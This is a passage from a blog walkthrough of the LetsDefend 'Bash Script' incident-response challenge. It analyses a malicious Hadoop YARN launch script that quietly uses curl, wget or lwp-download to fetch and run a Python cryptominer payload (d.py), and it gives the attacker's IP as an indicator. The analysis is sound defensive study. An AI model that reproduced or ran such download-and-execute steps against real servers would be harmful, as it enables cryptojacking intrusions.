&amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;NM_HTTP_PORT&amp;quot;&#xA;environment variable?&lt;/p&gt;&#xA;&lt;p&gt;This is another self-explanatory one. We just need to find the &lt;code&gt;NM_HTTP_PORT&lt;/code&gt; environment variable in the script.&lt;/p&gt;&#xA;&lt;p&gt;Since I&amp;rsquo;m not familiar with &lt;strong&gt;NM,&lt;/strong&gt; though, &lt;strong&gt;l&lt;/strong&gt;et&amp;rsquo;s do some research to understand it more. According to the &lt;em&gt;Hadoop Documentation,&lt;/em&gt; &lt;strong&gt;NM&lt;/strong&gt; stands for &lt;a class=&#34;link&#34; href=&#34;https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/NodeManager.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NodeManager&lt;/strong&gt;&lt;/a&gt;. It&amp;rsquo;s a component of &lt;em&gt;YARN&lt;/em&gt; that is responsible for managing individual nodes in the cluster. So, this environment variable is specifying the port (&lt;em&gt;8042&lt;/em&gt;) where the web interface is accessible to retrieve data about a node&amp;rsquo;s status. Cool stuff!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;694&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4e4d7425a4ec1ebb2054c604c508aa2d_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4e4d7425a4ec1ebb2054c604c508aa2d_MD5_hu_302a856218be1f5.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4e4d7425a4ec1ebb2054c604c508aa2d_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1834px&#34; data-flex-grow=&#34;764&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/8a6f64ec10341571f3bf2655c5db2489_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/8a6f64ec10341571f3bf2655c5db2489_MD5_hu_f32275054a0866f9.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/8a6f64ec10341571f3bf2655c5db2489_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-directory-is-set-as-the---&#34;&gt;Question 4: What directory is set as the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;LOCAL_DIRS&amp;quot;&#xA;environment variable?&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Question 4&lt;/strong&gt;, let&amp;rsquo;s find the &lt;code&gt;LOCAL_DIRS&lt;/code&gt; environment variable. In the bash script, this variable specifies the local directories on a node where &lt;em&gt;YARN&lt;/em&gt; can store temporary files and logs during the execution of applications.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;414px&#34; data-flex-grow=&#34;172&#34; height=&#34;694&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/90c60db7e91e9ea778f534ff971ab35e_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/90c60db7e91e9ea778f534ff971ab35e_MD5_hu_392c0de15ba697bc.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/90c60db7e91e9ea778f534ff971ab35e_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1870px&#34; data-flex-grow=&#34;779&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/91f0fa9c5a601fbf593203992ce9260d_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/91f0fa9c5a601fbf593203992ce9260d_MD5_hu_ed6a1ce770bab441.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/91f0fa9c5a601fbf593203992ce9260d_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-the-script-executes-a-line-at-the-end-of-it-what-isit&#34;&gt;Question 5: The script executes a line at the end of it. What is it?&#xA;&lt;/h3&gt;&lt;p&gt;All right, now we&amp;rsquo;re done looking for environment variables and starting to analyze some suspicious activity. At the bottom of the script, we&amp;rsquo;ll see the below command, followed by some parameters:&lt;/p&gt;&#xA;&lt;p&gt;exec /bin/bash -c&lt;/p&gt;&#xA;&lt;p&gt;With the use of &lt;strong&gt;curl&lt;/strong&gt;, &lt;strong&gt;wget&lt;/strong&gt;, &amp;amp; &lt;strong&gt;lwp-download&lt;/strong&gt; we get the idea that this command is trying (quietly) a few different methods to download a file from a remote server. For the purposes of &lt;strong&gt;Question 5,&lt;/strong&gt; we must understand what the line at the end of the script is doing. The setback here is that the final command is encoded but that&amp;rsquo;s no problem!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;8470px&#34; data-flex-grow=&#34;3529&#34; height=&#34;34&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/0585eba87e2a7294a9346d780aa52576_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/0585eba87e2a7294a9346d780aa52576_MD5_hu_d74897d3eba041c0.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/0585eba87e2a7294a9346d780aa52576_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can use a tool like &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt; to decode it, or do it directly from the &lt;em&gt;terminal:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3272px&#34; data-flex-grow=&#34;1363&#34; height=&#34;88&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3a3907c9ce78be3882a40e04dc399191_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3a3907c9ce78be3882a40e04dc399191_MD5_hu_f33c0089deece36b.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3a3907c9ce78be3882a40e04dc399191_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Base64 Decoding with Terminal&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;502px&#34; data-flex-grow=&#34;209&#34; height=&#34;573&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3ebbf12a83ff42ca02d72b987d670790_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3ebbf12a83ff42ca02d72b987d670790_MD5_hu_eb61f23425c9fb05.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/3ebbf12a83ff42ca02d72b987d670790_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Base64 Decoding with CyberChef&lt;/p&gt;&#xA;&lt;p&gt;Once we have decoded the command, we&amp;rsquo;ll ultimately discover that the script downloads and executes a &lt;em&gt;Python-based&lt;/em&gt; payload — &lt;strong&gt;d.py&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/659c4354e7f3a5e66346fa0627b0e6b1_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/659c4354e7f3a5e66346fa0627b0e6b1_MD5_hu_24fa2c2adb10922.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/659c4354e7f3a5e66346fa0627b0e6b1_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-which-command-is-used-to-create-a-copy-of-the-launchscript&#34;&gt;Question 6: Which command is used to create a copy of the launch script?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s take a step back and search the script for a command that creates a copy of the launch script. With little effort, we can find the following line in the script, which is conveniently commented. The &lt;em&gt;copy&lt;/em&gt; &lt;code&gt;(cp)&lt;/code&gt; command is being used to copy the &lt;em&gt;launch_container.sh&lt;/em&gt; script — interesting&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;#Creating copy of the launch script&#xA;cp &amp;ldquo;launch_container.sh&amp;rdquo; &amp;ldquo;/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/launch_container.sh&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/da401458d82bfe34b54fa0d92c3cece0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/da401458d82bfe34b54fa0d92c3cece0_MD5_hu_f0dd63539d29cca1.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/da401458d82bfe34b54fa0d92c3cece0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1870px&#34; data-flex-grow=&#34;779&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/de406e84e7604bf869ebec13e1e13962_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/de406e84e7604bf869ebec13e1e13962_MD5_hu_951c66686862f93.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/de406e84e7604bf869ebec13e1e13962_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-command-is-executed-to-determine-the-directory-contents&#34;&gt;Question 7: What command is executed to determine the directory contents?&#xA;&lt;/h3&gt;&lt;p&gt;Another helpful comment points us to the correct location to look for the answer to &lt;strong&gt;Question 7.&lt;/strong&gt; Here we&amp;rsquo;ll observe that the &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/xenial/man1/ls.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ls -l&lt;/strong&gt;&lt;/a&gt; command is used to list the directory contents with the long listing format:&lt;/p&gt;&#xA;&lt;h1 id=&#34;determining-directory-contents&#34;&gt;Determining directory contents&#xA;&lt;/h1&gt;&lt;p&gt;echo &amp;ldquo;ls -l:&amp;rdquo; 1&amp;gt;&amp;quot;/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/directory.info&amp;quot;&#xA;ls -l 1&amp;raquo;&amp;quot;/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/directory.info&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/d857dcbc540be1361af71ee47efe862a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/d857dcbc540be1361af71ee47efe862a_MD5_hu_a3c6073ffd440f81.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/d857dcbc540be1361af71ee47efe862a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/9c6d1e7575d9dd9887093bb34b641c58_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/9c6d1e7575d9dd9887093bb34b641c58_MD5_hu_2889006e4d40c85a.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/9c6d1e7575d9dd9887093bb34b641c58_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-ip-address-is-used-for-downloading-a-script-from-the-remoteserver&#34;&gt;Question 8: What IP address is used for downloading a script from the remote server?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question, and it looks familiar, doesn&amp;rsquo;t it? Remember back in &lt;strong&gt;Question 5,&lt;/strong&gt; we found a script being downloaded and executed. Let&amp;rsquo;s refer back to that line and the &lt;strong&gt;IP Address&lt;/strong&gt; from where the script was downloaded:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;8470px&#34; data-flex-grow=&#34;3529&#34; height=&#34;34&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4ce71d0f7082e1b917b77b4d9ee10955_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4ce71d0f7082e1b917b77b4d9ee10955_MD5_hu_b228e8c038dd6664.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/4ce71d0f7082e1b917b77b4d9ee10955_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome, we&amp;rsquo;ve found the answer! Feel free to submit it and wrap up this challenge.&lt;/p&gt;&#xA;&lt;p&gt;But if you&amp;rsquo;re interested and want to understand this attack in more detail, I&amp;rsquo;m going on a side quest to research further by consulting some external threat intelligence to understand exactly is going on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1756px&#34; data-flex-grow=&#34;731&#34; height=&#34;164&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/7a258a7cae7a115b224b360182636b8a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/7a258a7cae7a115b224b360182636b8a_MD5_hu_5298f71eb7318a05.png 800w, https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/7a258a7cae7a115b224b360182636b8a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-8--sidequest&#34;&gt;&lt;strong&gt;Question 8 — Side Quest:&lt;/strong&gt;&#xA;&lt;/h3&gt;&lt;p&gt;While outside the scope of the challenge, if you want to gain a better understanding of the attack, let&amp;rsquo;s pivot to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; and search for the &lt;em&gt;IP Address&lt;/em&gt; we found.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1142px&#34; data-flex-grow=&#34;476&#34; height=&#34;168&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/fc5c78f80e64a65aa510c1533fbc7b3c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On &lt;em&gt;VirusTotal&lt;/em&gt;, there are a couple of hits, but we want to focus on the &lt;strong&gt;Relations&lt;/strong&gt; tab &amp;gt; &lt;strong&gt;Files Referring&lt;/strong&gt; section. With a quick scan, you&amp;rsquo;ll notice something familiar from &lt;strong&gt;Question 5&lt;/strong&gt; — &lt;strong&gt;d.py&lt;/strong&gt;, the payload downloaded and executed by the script.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;629px&#34; data-flex-grow=&#34;262&#34; height=&#34;305&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/212841a15bff6b4e36dafc6be0b2f2b6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Clicking on this &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/944f631cbe6dbb89a682320b8ebf64fa97cc9d52db170d2f467b81f3558d13a3/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;entry&lt;/a&gt;, we&amp;rsquo;ll see that this is classified as a &lt;strong&gt;crypto miner&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;583px&#34; data-flex-grow=&#34;243&#34; height=&#34;329&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/34db21aea67f90a4d4ae7d673e7d78b1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, let&amp;rsquo;s head back to the &lt;strong&gt;VirusTotal&lt;/strong&gt; page for the &lt;strong&gt;IP Address&lt;/strong&gt; and navigate to &lt;strong&gt;Details&lt;/strong&gt; &amp;gt; &lt;strong&gt;Google Results&lt;/strong&gt; to find some external research. Check out one of the linked articles from &lt;strong&gt;Trend Micro,&lt;/strong&gt; as it references the malicious IP_._&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html&#34;  title=&#34;https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Threat Actors Exploit Misconfigured Apache Hadoop YARN&lt;/strong&gt;&#xA;_We look into how threat actors are exploiting Apache Hadoop YARN, a part of the Hadoop framework that is responsible&amp;hellip;_www.trendmicro.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In summary, the report reveals how threat actors exploit misconfigured &lt;strong&gt;Apache Hadoop YARN&lt;/strong&gt; services to deploy &lt;strong&gt;cryptojacking&lt;/strong&gt; miner malware onto their targets.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;As &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/defending-systems-against-cryptocurrency-miner-malware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;cryptojacking&lt;/a&gt; malware is known to be one of the dominant and common payloads for &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/a-look-at-linux-threats-risks-and-recommendations&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Linux environments&lt;/a&gt;, it is no surprise that they were deployed in the YARN service as well&amp;hellip;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;hellip;At the onset of the attack, the threat actors send commands to the exposed service via an HTTP POST request. As an unintended response, the &lt;strong&gt;YARN then creates a launch script that incorporates the attackers&amp;rsquo; commands&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Between the &lt;strong&gt;VirusTotal&lt;/strong&gt; report for &lt;strong&gt;d.py&lt;/strong&gt; and the &lt;strong&gt;TrendMicro&lt;/strong&gt; research linking the IP we found to &lt;strong&gt;cryptojacking&lt;/strong&gt; attacks, we now have a better understanding of how the malicious script works and the attacker&amp;rsquo;s goal. Great job!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it — script analyzed! During our investigation, we analyzed a &lt;strong&gt;bash script&lt;/strong&gt; using &lt;strong&gt;Vim.&lt;/strong&gt; This helped us understand some of the functions and environment variables of &lt;strong&gt;Hadoop YARN.&lt;/strong&gt; We discovered some suspicious commands executed by the script, which included downloading and executing a script from a remote server. By pivoting to external research, we identified &lt;em&gt;indicators of compromise&lt;/em&gt; and determined that the attacker likely performed a &lt;strong&gt;cryptojacking&lt;/strong&gt; attack on the server. Now that we have scoped the attack and completed our objectives let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/bash-script&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Bash Script&lt;/strong&gt;&lt;/a&gt; challenge.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for the fun lab scenario. This was interesting to me because, while the answers were straightforward, I realized I had no context or understanding of what was actually happening in the script. I decided to write this up to learn about &lt;strong&gt;Hadoop YARN&lt;/strong&gt; and interpret the results to shape a theory about the attack, rather than just check answers off a list. I hope that the additional research helped you, too!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Apache Hadoop Website:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://hadoop.apache.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://hadoop.apache.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Apache Hadoop Documentation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://hadoop.apache.org/docs/current/index.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://hadoop.apache.org/docs/current/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Tech Target — What is Apache Hadoop YARN?:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.techtarget.com/searchdatamanagement/definition/Apache-Hadoop-YARN-Yet-Another-Resource-Negotiator#:~:text=One%20of%20Apache%20Hadoop%27s%20core,executed%20on%20different%20cluster%20nodes&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.techtarget.com/searchdatamanagement/definition/Apache-Hadoop-YARN-Yet-Another-Resource-Negotiator#:~:text=One%20of%20Apache%20Hadoop&amp;rsquo;s%20core,executed%20on%20different%20cluster%20nodes&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Manpages — LS:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/xenial/man1/ls.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/xenial/man1/ls.1.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Download IP&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/209.141.40.190/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/209.141.40.190/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — d.py:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/944f631cbe6dbb89a682320b8ebf64fa97cc9d52db170d2f467b81f3558d13a3/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/944f631cbe6dbb89a682320b8ebf64fa97cc9d52db170d2f467b81f3558d13a3/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Trend Micro — Threat Actors Exploit Misconfigured Apache Hadoop YARN:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Revenge RAT Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/</link>
            <pubDate>Mon, 25 Nov 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-revenge-rat-challenge-walkthrough/</guid>
